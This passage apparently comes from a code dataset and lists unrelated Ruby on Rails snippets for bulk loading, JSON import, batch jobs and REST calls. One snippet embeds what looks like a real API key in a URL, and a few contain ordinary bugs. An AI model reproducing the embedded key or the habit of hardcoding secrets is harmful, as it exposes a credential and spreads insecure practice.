Visit.collection.insert_many(params[:visits]) #save to batch to database mongoid awesome\n \n end", "def loading_params\n params.require(:loading).permit(:date, :customer,:purchase_order, :eta, :delivered,:tenant_id,palet_ids:[])\n end", "def create\n @file_upload = FileUpload.new(file_upload_params)\n\n respond_to do |format|\n if @file_upload.save\n params[:file_upload_attachments]['scenario'].each do |s|\n @file_upload_attachment = @file_upload.file_upload_attachments.create!(:scenario => s, :file_upload_id => @file_upload.id)\n Delayed::Job.enqueue ParseJob.new(@file_upload_attachment);\n end\n format.html { redirect_to @file_upload, notice: 'File upload was successfully created.' }\n format.json { render action: 'show', status: :created, location: @file_upload }\n else\n format.html { render action: 'new' }\n format.json { render json: @file_upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def _test_launch_process_with_json_launchitem\n\n li = LI_WITH_DEFINITION.to_h.dup\n\n #puts \"===\"\n #p li.to_json\n #puts \"===\"\n\n li['attributes']['food'] = 'tamales'\n\n post(\n '/processes.json',\n li.to_json,\n { 'CONTENT_TYPE' => 'application/json' })\n\n sleep 0.350\n\n puts @response.body\n\n assert_equal 'application/json', @response.headers['Content-type']\n\n fei = json_parse(@response.body)\n assert_equal 'ruote_rest', fei['engine_id']\n\n assert_equal 1, OpenWFE::Extras::ArWorkitem.find(:all).size\n wi = OpenWFE::Extras::ArWorkitem.find(:first)\n\n assert_equal 'tamales', wi.as_owfe_workitem.fields['food']\n end", "def create_parks_from_api\n url = \"https://developer.nps.gov/api/v1/parks?limit=500&api_key=GhGhpL8DrRdsEAwfu0Mn4gXuhgkdnhVnrEnNfmRx\"\n resp = RestClient.get(url)\n json_hash = JSON.parse(resp)\n park_codes = []\n\n json_hash.each do |data_key, value|\n if data_key[\"data\"]\n value.each do |hash_keys|\n Park.create(park_name: hash_keys[\"fullName\"], park_code: hash_keys[\"parkCode\"])\n \n end\n end\n end\n\nend", "def load_params\n params.require(:load).permit(:pickup, :weight, :paid, :status, :store_id, :user_phone, :user_id)\n end", "def load_params\n params.require(:load).permit(:load_date, :branch_office_id, :export_branch_office_id, :worker_id, :vehicle_id)\n end", "def create_batch\n begin\n # create the new batch\n batch = BatchJob.new\n batch.name = params[:name]\n batch.job_type = params[:type_id]\n batch.ocr_engine_id = params[:engine_id]\n batch.font_id = params[:font_id]\n batch.parameters = params[:params]\n batch.notes = params[:notes]\n batch.save!\n \n # populate it with pages from the selected works\n json_payload = ActiveSupport::JSON.decode(params[:json])\n json_payload['works'].each do | work_id |\n pages = Page.where(\"pg_work_id = ?\", work_id)\n pages.each do | page |\n job = JobQueue.new\n job.batch_id = batch.id\n job.page_id = page.pg_page_id\n job.job_status = 1\n job.work_id=work_id\n job.save!\n end\n end\n\n # get a new summary for the job queue\n status = get_job_queue_status()\n render :json => ActiveSupport::JSON.encode(status), :status => :ok \n \n rescue => e\n render :text => e.message, :status => :error\n end \n end", "def setup\n db = CouchRest.database!(\"http://127.0.0.1:5984/couchdb_test\")\n\n (1..@num_packs).each do |num_pack|\n elems = []\n (1..@num_items).each do |num_item|\n elems << { :name => Faker::Name.name, :tags => random_tags(), :created_at => Time.now() }\n end\n\n response = db.bulk_save(elems)\n puts response\n end\n\n end", "def doimport\n json = JSON.parse(params[:json])\n nodes = []\n\n # Import entities\n json['nodes'].each do |node|\n entity = Entity.find_my_title(node['name'])\n\n # Entity data\n if entity.nil? \n entity = Entity.new\n entity.title = node['name']\n entity.save()\n end\n\n # Entity metadata\n if node['meta'].present?\n node['meta'].each do |meta|\n entity.add_meta(meta['key'] , meta['value'] , false)\n end\n end\n\n nodes[node['index']] = entity\n end\n\n # Import links\n json['links'].each do |link_ar|\n source = nodes[link_ar['source']]\n target = nodes[link_ar['target']]\n link = Link.find_my_link(source,target)\n\n if link.nil? \n link = Link.new\n link.ent_a = source\n link.ent_b = target\n link.save()\n end\n\n # Link metadata\n if link_ar['meta'].present?\n link_ar['meta'].each do |meta|\n link.add_meta(meta['key'] , meta['value'] , false)\n end\n end\n end\n redirect_to '/'\n end", "def bulk_APIrequests(uri_end, request_type, hash_arr)\r\n\tif(hash_arr.length>0) then\r\n\t\thash_arr.each_slice(99) do |x|\r\n\t\t\tjson = JSON.generate({uri_end => x})\r\n\t\t\t#puts json\r\n\t\t\tres = make_API_request(uri_end,request_type,json)\r\n\t\tend\r\n\telse puts \"No data for #{request_type.capitalize} in array\" end\r\nend", "def importFromFile(type, json_hash)\n idx = 0\n len = json_hash.length\n json_hash.each do |arr|\n # this is for jason, remove for prod\n if idx > 500\n break\n end\n begin\n type.create(arr)\n idx += 1\n puts \"Added #{idx}/#{len}\"\n rescue => exception\n puts \"Error #{exception}\"\n end\n end\nend", "def create\n @loading = Loading.new(loading_params)\n\n respond_to do |format|\n if @loading.save\n format.html { redirect_to @loading, notice: 'Loading was successfully created.' }\n format.json { render :show, status: :created, location: @loading }\n else\n format.html { render :new }\n format.json { render json: @loading.errors, status: :unprocessable_entity }\n end\n end\n end", "def do_post host, jsonArray_data\n (jsonArray_data).each do |data|\n\n @no_hits +=1\n\n index = data['_index']\n type = data['_type']\n id = data['_id']\n source= data['_source'].to_json\n\n esUri = URI.parse 'http://'+host+'/'+index+'/'+type+'/'+id\n http = Net::HTTP.new(esUri.host, esUri.port)\n response = http.post(esUri.path, source)\n\n if (response.code.to_i > 400)\n puts \"Error posting to: \" + esUri.to_s + \", source_object: \" + data.to_json\n end\n\n case\n when @total_hits_to_import.to_i/4 == @no_hits\n puts \"Imported 25%\"\n when @total_hits_to_import.to_i/2 == @no_hits\n puts \"Imported 50%\"\n when (@total_hits_to_import.to_i*3)/4 == @no_hits\n puts \"Imported 75%\"\n end\n end\nend", "def create\n @loading = Loading.new(loading_params)\n @loading.tenant_id=params[:tenant_id]\n @palets=Palet.where(loading_id:nil).order(code: :desc)\n\n\n respond_to do |format|\n if @loading.save\n format.html { redirect_to tenant_loadings_path, notice: 'Loading was successfully created.' }\n format.json { render :show, status: :created, location: @loading }\n else\n format.html { render :new }\n format.json { render json: @loading.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n PlaceVisit.collection.insert_many(params[:place_visits]) #save to batch to database mongoid awesome\n end", "def post_load(all_records)\n end", "def test_2\n f = Foo.new\n z = f.bulk_load(LOAD, \"device_worker\")\n assert_equal LOAD, z\n end", "def import_work_item(row)\n item = {}\n item['created_at'] = row['created_at']\n item['updated_at'] = row['updated_at']\n item['intellectual_object_id'] = @id_for_name[row['object_identifier']]\n item['generic_file_id'] = @id_for_name[row['generic_file_identifier']]\n item['name'] = row['name']\n item['etag'] = row['etag']\n item['bucket'] = row['bucket']\n item['user'] = row['user']\n item['note'] = row['note']\n item['action'] = row['action']\n item['stage'] = row['stage']\n item['status'] = ucfirst(row['status'])\n item['outcome'] = row['outcome']\n item['bag_date'] = row['bag_date']\n item['date'] = row['date']\n item['retry'] = row['retry']\n item['object_identifier'] = row['object_identifier']\n item['generic_file_identifier'] = row['generic_file_identifier']\n item['node'] = row['node']\n item['pid'] = row['pid']\n item['needs_admin_review'] = row['needs_admin_review']\n item['institution_id'] = @id_for_name[row['institution']]\n item['queued_at'] = nil\n item['size'] = nil\n item['stage_started_at'] = nil\n\n url = \"#{@base_url}/api/v2/items\"\n resp = api_post_json(url, item.to_json)\n if resp.code != '201'\n @log.write(\"Error saving WorkItem #{item['id']}\\n\")\n @log.write(item.inspect)\n if resp.body.length < 8000\n @log.write(\"\\n\" + resp.body + \"\\n\")\n else\n @log.write(\"\\nResponse body too long. Check rails logs.\\n\")\n end\n #exit(1)\n end\n data = JSON.parse(resp.body)\n return data['id']\n end", "def loadout_params\n params.require(:loadout).permit(:name, :item1, :item2, :item3)\n end", "def create\n @unlimited = Unlimited.new(unlimited_params)\n\n respond_to do |format|\n if @unlimited.save\n format.html { redirect_to @unlimited, notice: 'Unlimited was successfully created.' }\n format.json { render action: 'show', status: :created, location: @unlimited }\n else\n format.html { render action: 'new' }\n format.json { render json: @unlimited.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n batch_id = params[:batch_id]\n if batch_id.blank?\n ub = UploadBatch.create!\n batch_id = ub.id\n end\n\n unless @collection.available?(@current_user)\n if request.format.json?\n render json: {error: \"You're not authorized\"}, status: 401\n return\n else\n redirect_to \"/\", error: \"Cannot access the document\"\n return\n end\n end\n \n logger.debug(params.inspect)\n if params[:file].present?\n error, dids = @collection.upload_from_file(params[:file], batch_id, params[:replace])\n elsif params[:pmid].present?\n error, dids = @collection.upload_from_pmids(params[:pmid], batch_id, params[:id_map])\n end\n logger.debug(\"RET === #{error.inspect}\")\n \n respond_to do |format|\n if error.nil?\n format.html { redirect_to @collection, notice: 'Document was successfully created.' }\n format.json { render json: {ok: true, ids: dids, batch_id: batch_id}, status: :created }\n else\n format.html { redirect_to @collection, alert: 'Failed to create document (PMID: does not exist)' }\n format.json { render json: {error: error}, status: :unprocessable_entity }\n end\n end\n end", "def create \n render json: Tuning.create(tuning_params)\n end", "def create\n @uploaded_file = UploadedFile.new(file_name: params[:uploaded_file][:file_name].original_filename)\n respond_to do |format|\n if @uploaded_file.save\n load_imported_items\n format.html { redirect_to root_path, notice: 'Uploaded file was successfully created.' }\n format.json { render :show, status: :created, location: @uploaded_file }\n else\n format.html { render :new }\n format.json { render json: @uploaded_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @loadbalancers = getmydata(\"Loadbalancer\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @loadbalancers }\n end\n end", "def create\n @type = params[:type]\n item = params.require(:item)\n @mac = item.require(:machine)\n machine = Machine.check(@mac.permit(:mac))\n\n data = item.require(:data)\n @result = Array.new\n\n data.each do |d|\n ads = Array.new\n\n ad_list = d.require(:ads)\n ad_list.each do |ad_data|\n ads << Ad.new(ad_data.permit(:channel, :value, :range))\n end\n\n gp40 = machine.gp40s.create(d.permit(:date, :beginning))\n gp40.ads = ads\n\n @result << gp40\n end\n\n render :status => :created\n end", "def create\n create_fields = {}\n\n Job.storage_fields.each do |field|\n create_fields[field] = params[field.to_sym] if !params.has_key?(field.to_sym)\n end\n\n respond_with Job.create(create_fields)\n end", "def create\n @batch = Batch.new\n @batch.item = Item.find(params[:item_id])\n @batch.company = current_user.company if current_user.company?\n @batch.count = params[:amount].to_i\n @batch.count *= 1000 if @batch.item.have_weight\n @batch.price = params[:price].to_i\n @batch.supplier_price = params[:supplier_price].to_i\n @batch.barcode = Barcode.find_by_code params[:barcode]\n @batch.user = current_user\n respond_to do |format|\n if @batch.save\n format.json { render json: nil, status: :created }\n else\n format.json { render json: @batch.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload\n validate_documents_content_type\n validate_documents_page_size\n\n power_of_attorney = ClaimsApi::PowerOfAttorney.find_using_identifier_and_source(id: params[:id],\n source_name: source_name)\n power_of_attorney.set_file_data!(documents.first, params[:doc_type])\n power_of_attorney.status = 'submitted'\n power_of_attorney.save!\n power_of_attorney.reload\n ClaimsApi::VBMSUploadJob.perform_async(power_of_attorney.id)\n render json: power_of_attorney, serializer: ClaimsApi::PowerOfAttorneySerializer\n end", "def generate_bulk_data_params\n {\n 'inputFormat': 'application/fhir+ndjson',\n 'inputSource': @testing_instance.url,\n 'storageDetail': {\n 'type': 'https'\n },\n 'input': [{\n 'type': 'Bundle',\n 'url': generate_ndjson_url\n }]\n }\n end", "def create\n @test = LoadTest.new(params[:load_test])\n\n respond_to do |format|\n if @test.save\n format.html { redirect_to @test, notice: 'Test was successfully created.' }\n format.json { render json: @test, status: :created, location: @test }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_job_content_sample(client)\n job_multipart = {\n :file => File.new($full_path),\n 'num copies' => 10\n }\n\n response = client['jobs'].post job_multipart\n\n p ''\n p 'Submit a new job'\n p response\nend", "def bulk_insert_list_params\n params.require(:bulk_insert_list).permit(:hash_id, :EAN13, :shelf, :sort)\n end", "def fetch_data\n _mem = mem\n _loadavg = loadavg\n {\n :server => \"#{@config[\"server\"]}\",\n :key => \"#{@config[\"key\"]}\",\n :data => {\n :mem => _mem.to_json,\n :loadavg => _loadavg.to_json\n }}.to_json\nend", "def hard_save\n args = request_params\n @uncommitted = save_and_remove_all(args[:map_id], args[:round])\n render json: @uncommitted\n end", "def create_assembly\n @part1 = Part.find(params[:first_part_id])\n @part2 = Part.find(params[:second_part_id])\n @assembly = Assembly.create\n @assembly.parts << @part1\n @assembly.parts << @part2\n render(json: AssemblySerializer.new(@assembly).serialized_json)\n rescue ActiveRecord::RecordNotFound => e\n render json: {:status => 404, :message => e.message}, :status => 404\n end", "def create\n item = list.items.create!(item_params)\n render json: item, status: 201\n end", "def create\n @task = Task.new(task_params)\n @task.save\n render json: full_task(@task)\n end", "def create\n megam_rest.post_promos(to_hash) #WONT BE USED AS OF NOW\n end", "def create\n # Read the Matches from the JSON Object\n data = params[:matches]\n matches = data.to_a\n\n MatchCreatorJob.perform_later(matches: matches)\n\n render json: {}, status: :ok\n\n end", "def bulk_item_data\n prm = manifest_item_bulk_post_params\n items = prm[:data]\n raise_failure(\"not an Array: #{items.inspect}\") unless items.is_a?(Array)\n raise_failure('no item data') unless items.present?\n row = prm[:row].to_i\n delta = prm[:delta].to_i\n items.map do |item|\n raise_failure(\"not a Hash: #{item.inspect}\") unless item.is_a?(Hash)\n item[:manifest_id] = item.delete(:manifest) if item.key?(:manifest)\n if item[:manifest_id].blank?\n item[:manifest_id] = manifest_id\n elsif item[:manifest_id] != manifest_id\n raise_failure(\"invalid manifest_id for #{item.inspect}\")\n end\n row = (item[:row] ||= row)\n delta = (item[:delta] ||= delta + 1)\n ManifestItem.normalize_attributes(item).except!(:attr_opt)\n end\n end", "def init\n count = 1000\n resp = { :record_count => count, :status => {}}\n sh = Hash.new\n STATUS.each do |item|\n sh[item] = 0\n end\n resp[:status] = sh\n resp[:records] = []\n srand 1234\n Spooge.redis_clean_up()\n Spooge.delete_all()\n count.times do\n s = Spooge.new()\n s.save\n n = generate_random_name\n s.name = n\n s.email = \"#{n}@gmail.com\"\n s.touch_date = DateTime.now\n s.status = STATUS[rand(STATUS.length)]\n resp[:status][s.status] = resp[:status][s.status] + 1\n resp[:records] << s\n end\n render :json => resp\n end", "def create\n create_params = item_params\n item = Item.new(\n name: create_params[:name], \n is_complete: false, #create_params[:is_complete], \n list_id: create_params[:list_id])\n\n item.save!\n render json: item\n end", "def github_load_params\n params.require(:github_load).permit(:load_start_time, :load_complete_time, :initial_load)\n end", "def index\n @batches = Batch.all\n respond_to do |format|\n format.html {}\n format.json {\n\n data = Hash.new\n data[\"batches\"] = @batches\n return_success_response(data, \"Request Successful\", 200)\n }\n end\n end", "def create_songs\n 5.times do |i|\n url = \"https://stg-resque.hakuapp.com/songs.json?album_id=#{i+1}\"\n uri = URI(url)\n response = Net::HTTP.get(uri)\n songs = JSON.parse(response)\n\n songs.each do |song|\n Song.create!(song.except('id'))\n end\n end\nend", "def bulk_update_document index, data\n Parallel.each( data.each_slice(4), in_threads: ENV['NUMBER_OF_THREADS'].to_i ) do |slice|\n # Hardcoded for slice of 4 elements, of which we need to combine 2\n enriched_slice = slice.map do |document|\n { doc: document, serialization: document.to_json }\n end\n\n nested_slice = []\n\n if enriched_slice.any? { |s| s[:serialization].length > 50_000_000 }\n log.debug(\"Splitting bulk update document into separate requests because one document more than 50Mb\")\n enriched_slice.each_slice(2) do |tuple|\n nested_slice << tuple\n end\n else\n nested_slice = [enriched_slice]\n end\n\n nested_slice.each do |enriched_postable_slice|\n begin\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/_bulk\")\n req = Net::HTTP::Post.new(uri)\n body = \"\"\n enriched_postable_slice.each do |enriched_document|\n body += enriched_document[:serialization] + \"\\n\"\n end\n req.body = body\n\n req[\"Content-Type\"] = \"application/x-ndjson\"\n\n run(uri, req)\n rescue SocketError => e\n log.warn(e)\n tries = 1\n while ! up\n log.info \"Waiting for elastic search\"\n sleep tries\n tries +=1\n end\n log.debug \"Retrying request\"\n run(uri, req)\n rescue StandardError => e\n log.warn( \"Failed to upload #{enriched_postable_slice.length} documents\" )\n\n ids = enriched_postable_slice.map do |enriched_document|\n enriched_document && enriched_document[:doc][:index] && enriched_document[:doc][:index][:_id]\n end\n\n log.warn( e )\n log.warn( \"Failed to upload documents #{ids.join(\", \")} with total length #{body.length}\" )\n log.warn( \"Failed documents #{ids.join(\", \")} are not ginormous\" ) if body.length < 100_000_000\n end\n end\n end\n end", "def generate_formulary_bulk_data\n p \"There are no Formulary resources available to generate bulk data.\" if FORMULARIES.empty?\n FORMULARIES.each do |formulary|\n NDOUTS.clear\n request = \"#{FHIR_SERVER}/fhir/InsurancePlan/#{formulary[:id]}/$export\"\n output_directory = File.join(\"bulk_export\", formulary[:id])\n FileUtils.mkdir_p(output_directory)\n generate_ndjson(\"InsurancePlan\", [formulary], output_directory)\n get_related_basic_and_medicationknowledge(formulary[:id], output_directory)\n\n location_ids = extract_location_id_from_reference(formulary[:coverageArea])\n get_related_locations(location_ids, output_directory)\n generate_export_json(output_directory, request, NDOUTS)\n end\nend", "def loading_params\n params.require(:loading).permit(:check, :quality_check, :check_by, :quality_check_by, :check_on, :check_quality_on, :line_items_id)\n end", "def create\n @batch = Batch.new(batch_params)\n authorize! :create, @batch\n if @batch.save\n render json: @batch, status: :created\n else\n render json: @batch.errors, status: :unprocessable_entity\n end\n end", "def create\n megam_rest.post_billedhistories(to_hash)\n end", "def create\n params[:url_list].each do |url|\n WebUrl.new(:url => url).save\n end\n render :json=>params[:url_list].to_json\n end", "def upload\n ActivityLogSeeder.import!(params[:csv_file].tempfile) # background it for large files\n render json: { message: 'Uploaded successfully' }\n end", "def batch_create\n if @loan_items = ObservationMatrixColumnItem.batch_create(batch_params)\n render :index\n else\n render json: {success: false}\n end \n end", "def create\n @stock_collection = StockCollection.new(stock_collection_params)\n\n respond_to do |format|\n if @stock_collection.save\n format.html { redirect_to stocks_path, notice: 'Stock collection was successfully loaded.' }\n format.json { render :show, status: :created, location: @stock_collection }\n else\n format.html { render :new }\n format.json { render json: @stock_collection.errors, status: :unprocessable_entity }\n end\n end\n end", "def new_by_mass_upload\n end", "def batch_create\n @values = record_batch_params.values.reject { |p| p.values.all?(&:blank?) }\n @records = record_class.create(@values)\n\n respond_to do |format|\n if @records.all?(&:valid?)\n format.html { redirect_to url_for(action: 'index'), notice: \"#{record_class.model_name.plural.humanize} were successfully created.\" }\n format.json { render :index, status: :created }\n else\n @records = @records.fill(@records.size..BATCH_SIZE) { record_class.new }\n\n format.html { render :batch_new }\n format.json { render json: @records.map(&:errors), status: :unprocessable_entity }\n end\n end\n end", "def create\n # JSONファイルから文字列を抽出する\n file = params['stage']['file']# Upされたファイルにアクセス\n \n p(\"file params:\")\n\n @jsonstring = file.read\n p(@jsonstring)\n @stage = Stage.new(:scene_data => @jsonstring, :title => params[:stage][:title])\n p(\"stage.scene_data:\")\n p(@stage.scene_data)\n #p(@stage.nothing)\n \n if params[:stage][:texture] != nil\n @textures = Texture.new(:data => params[:stage][:texture]['data'])\n @stage.textures << @textures\n end\n\n respond_to do |format|\n if @stage.save!\n format.html { redirect_to @stage, notice: 'Stage was successfully created.' }\n format.json { render action: 'show', status: :created, location: @stage }\n else\n format.html { render action: 'new' }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end", "def submit_samples\n @stats[:machines].each do |machine|\n begin\n create_samples(machine)\n rescue StandardError => e\n message = e.is_a?(RestClient::Exception) ? e.response : e\n raise Exceptions::OnPremiseException, message\n end\n end\n end", "def create\n @manifestation_reserve_stat = ManifestationReserveStat.new(manifestation_reserve_stat_params)\n @manifestation_reserve_stat.user = current_user\n\n respond_to do |format|\n if @manifestation_reserve_stat.save\n ManifestationReserveStatJob.perform_later(@manifestation_reserve_stat)\n format.html { redirect_to @manifestation_reserve_stat, notice: t('statistic.successfully_created', model: t('activerecord.models.manifestation_reserve_stat')) }\n format.json { render json: @manifestation_reserve_stat, status: :created, location: @manifestation_reserve_stat }\n else\n format.html { render action: \"new\" }\n format.json { render json: @manifestation_reserve_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # initializes a GroceryList with attributes automatically\n # mapped to the respective database columns\n @grocery_list = GroceryList.new(grocery_list_params)\n\n # saves the model in the database\n if @grocery_list.save\n render json: @grocery_list, status: :created\n else\n render json:{\n errors: @grocery_list.errors.full_messages\n },\n status: 422 # unprocessable entity\n end\n end", "def create\n # TODO: refactor\n conf = {:path=>\"#{RAILS_ROOT}/index/#{RAILS_ENV}/rip\"}\n index = Ferret::Index::Index.new(conf)\n\n for p in params[:parts][:part]\n part = Part.find_or_create_by_mrokhash(p[:mrokhash])\n unless logged_in_user.parts.include? part\n logged_in_user.parts << part\n remove_cache_pages(part.rip_id) if part.rip_id\n update_user_in_field(:index => index, :part => part, :add => true)\n end\n end\n head :created\n end", "def create\n @page_chunk = PageChunk.new(page_chunk_params)\n\n respond_to do |format|\n if @page_chunk.save\n format.html { redirect_to @page_chunk, notice: 'Page chunk was successfully created.' }\n format.json { render action: 'show', status: :created, location: @page_chunk }\n else\n format.html { render action: 'new' }\n format.json { render json: @page_chunk.errors, status: :unprocessable_entity }\n end\n end\n end", "def load\n sleeper = 0.0\n while File.exist? lock_file\n sleeper += 0.1 if sleeper <= 10.0\n sleep(sleeper.to_i)\n end\n # :symbolize_names does not play nicely with :create_additions\n tmp = JSON.parse(File.read(path),\n {:symbolize_names=>false, :create_additions=>true})\n @data = {}\n tmp.each_pair{ |k,v| self[k] = v }\n end", "def load_multi(serializeds, &block)\n serializeds.map { |serialized| load(serialized, &block) }\n end", "def json_load(request_body)\n request_body.rewind\n body = request_body.read\n\n MultiJson.load body\nend", "def create_albums\n url = 'https://stg-resque.hakuapp.com/albums.json'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n albums = JSON.parse(response)\n\n albums.each do |album|\n Album.create!(album.except('id'))\n end\nend", "def create\n @github_load = GithubLoad.new(github_load_params)\n\n respond_to do |format|\n if @github_load.save\n format.html { redirect_to @github_load, notice: 'Github load was successfully created.' }\n format.json { render action: 'show', status: :created, location: @github_load }\n else\n format.html { render action: 'new' }\n format.json { render json: @github_load.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @job = Job.new\n @ct = @job.assets.count\n (MAX_ASSETS - @ct).times {@job.assets.build}\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end", "def index\n @load_vehicle = LoadVehicle.all\n respond_to do |format|\n format.json { render json: @load_vehicle }\n end\n end", "def manage_score(body)\r\n begin\r\n data = JSON.parse(body)\r\n upload_score(data)\r\n rescue JSON::ParserError\r\n nil\r\n end\r\n get_scores\r\nend", "def import\n @scenario.import\n respond_to do |format|\n format.html { redirect_to scenarios_url, notice: 'Scenario was successfully imported.' }\n format.json { head :no_content }\n end\n end", "def create\n start_time = Time.now\n cpu_cores_number = check_cpu\n do_something(cpu_cores_number)\n end_time = Time.now\n @post = Post.new(body: end_time - start_time, title: \"cores were used: #{cpu_cores_number}\")\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n post_params = {\n name: params[:name].downcase,\n units: params[:units] || 0\n }\n render json: Ingredient.create!(post_params), status: :created\n end", "def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end", "def create\n @item = Item.new(item_params)\n if @item.save\n render json: ItemSerializer.new(@item)\n else\n render json: @section.errors, status: :unprocessable_entity\n end\n end", "def tasks\n render json: [{id: 1, name: 'One'}, {id: 2, name: 'Two'}]\n end", "def create\n @collection = Collection.new(params[:collection])\n\n # scrape each resource URL to add those fields\n @collection.collectionizes.each do |each_collectionize|\n resource_object = Resource.scrape_data(each_collectionize.resource.raw_url)\n\n each_collectionize.resource\n resource_object = Resource.scrape_data(@resource.raw_url)\n each_collectionize.resource.keywords_scraped = resource_object[:keywords_scraped] ? resource_object[:keywords_scraped] : nil\n each_collectionize.resource.description_scraped = resource_object[:description_scraped] ? resource_object[:description_scraped] : nil\n each_collectionize.resource.title_scraped = resource_object[:title_scraped] ? resource_object[:title_scraped] : nil\n each_collectionize.resource.raw_html = resource_object[:raw_html] ? resource_object[:raw_html] : nil\n end\n\n respond_to do |format|\n if @collection.save\n redirect_to @collection, notice: 'Collection was successfully created.'\n else\n render action: \"new\"\n end\n end\n end", "def submit_batch(req = self.request, **opt)\n opt[:manifest_id] ||= req.manifest_id\n\n # Handle validation/creation of simulation options (if configured).\n if SIMULATION_ALLOWED\n opt[:simulation] = true if SIMULATION_ONLY\n elsif opt[:simulation]\n raise \"#{__method__}: simulation is disallowed\"\n elsif opt[:sim_opt]\n Log.warn { \"#{__method__}: ignoring sim_opt = #{opt[:sim_opt].inspect}\" }\n end\n if opt[:simulation]\n opt[:sim_opt] ||= SimulationOptions.new\n else\n opt.delete(:sim_opt)\n end\n\n # Identify any supplied items that don't map on to a valid ManifestItem.\n valid_ids, invalid_ids = [], []\n items =\n req.items.map do |item|\n if (id = manifest_item_id(item)).is_a?(Hash)\n invalid_ids << id[:error]\n next\n elsif valid_ids.include?(id)\n Log.warn { \"#{__method__}: duplicate item #{item.inspect}\" }\n else\n valid_ids << id\n item\n end\n end\n items.compact!\n # noinspection RubyMismatchedReturnType\n items.sort_by! { |item| manifest_item_id(item) }\n\n # Claim submission IDs for the items that will persist through the point\n # that the item becomes associated with an EMMA entry.\n now = DateTime.now\n recs = manifest_items(items)\n recs.each do |rec|\n attrs = { submission_id: ManifestItem.generate_submission_id(now) }\n attrs.merge!(last_indexed: nil, last_submit: nil) if opt[:simulation]\n rec.update_columns(attrs)\n end\n\n slice = opt.delete(:slice)\n slice = DEF_SLICE if slice.nil?\n slice = recs.size if slice.is_a?(TrueClass)\n slice = false if slice && (slice < MIN_SLICE)\n slice = MAX_SLICE if slice && (slice > MAX_SLICE)\n slice = positive(slice)\n\n if slice\n result = submit_by_slice(recs, **opt, slice: slice)\n else\n result = submit_by_item(recs, **opt)\n end\n result[:count] = req.items.size\n result[:submitted] = valid_ids.sort\n result[:invalid] = invalid_ids if invalid_ids.present?\n result.finalize\n end", "def load_items\n items.map { |serialized_item| item_from_attributes(serialized_item) }.compact\n end", "def medieval_composers\n response = RestClient.get 'https://api.openopus.org/composer/list/epoch/Medieval.json'\n json = JSON.parse response\n puts json\n\n if !json.nil?\n json[\"composers\"].map do |composer|\n Composer.create(name: \"#{composer[\"complete_name\"]}\", birth: \"#{composer[\"birth\"]}\", death: \"#{composer[\"death\"]}\", portrait: \"#{composer[\"portrait\"]}\", period_id: 1)\n end\n else\n puts \"Error seeding composers\"\n end\nend", "def create\n # {\"vcpus\": 1, \"disk\": 1, \"name\": \"test\", \"rxtx_factor\": 1, \"OS-FLV-EXT-DATA:ephemeral\": 1, \"ram\": 512, \"id\": 6, \"swap\": 1}}'\n @flavor = compute.create_flavor(\"rxtx_factor\"=>1,\"OS-FLV-EXT-DATA:ephemeral\"=>params[:ephemeral],:vcpus=>params[:vcpus],:disk=>params[:disk],:name=>params[:name],:ram=>params[:ram],:id=>params[:id],:swap=>params[:swap])\n\n respond_to do |format|\n format.html { redirect_to flavors_path, :notice => 'Flavor was successfully created.' }\n format.json { render :json => @flavor, :status => :created, :location => @flavor }\n end\n end", "def batch_params\n params.require(:batch).permit(:name,:background_type,:job_type,:job_count,:worker_count,:thread_count,:modified_run)\n end", "def create\n @loadout = Loadout.new(loadout_params)\n\n respond_to do |format|\n if @loadout.save\n format.html { redirect_to @loadout, notice: 'Loadout was successfully created.' }\n format.json { render :show, status: :created, location: @loadout }\n else\n format.html { render :new }\n format.json { render json: @loadout.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @storage_processor = StorageProcessor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @storage_processor }\n end\n end", "def create\n # get attribute values from param, manually\n filename = params[:upload][:uploaded_file].original_filename\n filetype = params[:upload][:uploaded_file].content_type\n file = params[:upload][:uploaded_file].tempfile\n \n @upload = Upload.new(:filename => filename, :filetype => filetype)\n\n data = {'filename' => @upload.filename}\n\n # save file (+Benchmark)\n @loading_time = Benchmark.realtime do\n @upload.write_uploaded_file(file, data)\n end\n\n @loading_time.set_file_loading_time\n\n print \"Loading Time: #{@loading_time}\"\n\n respond_to do |format|\n if @upload.save\n format.html { redirect_to @upload, notice: 'Upload was successfully created.' }\n format.json { render json: @upload, status: :created, location: @upload }\n else\n format.html { render action: \"new\" }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end" ]
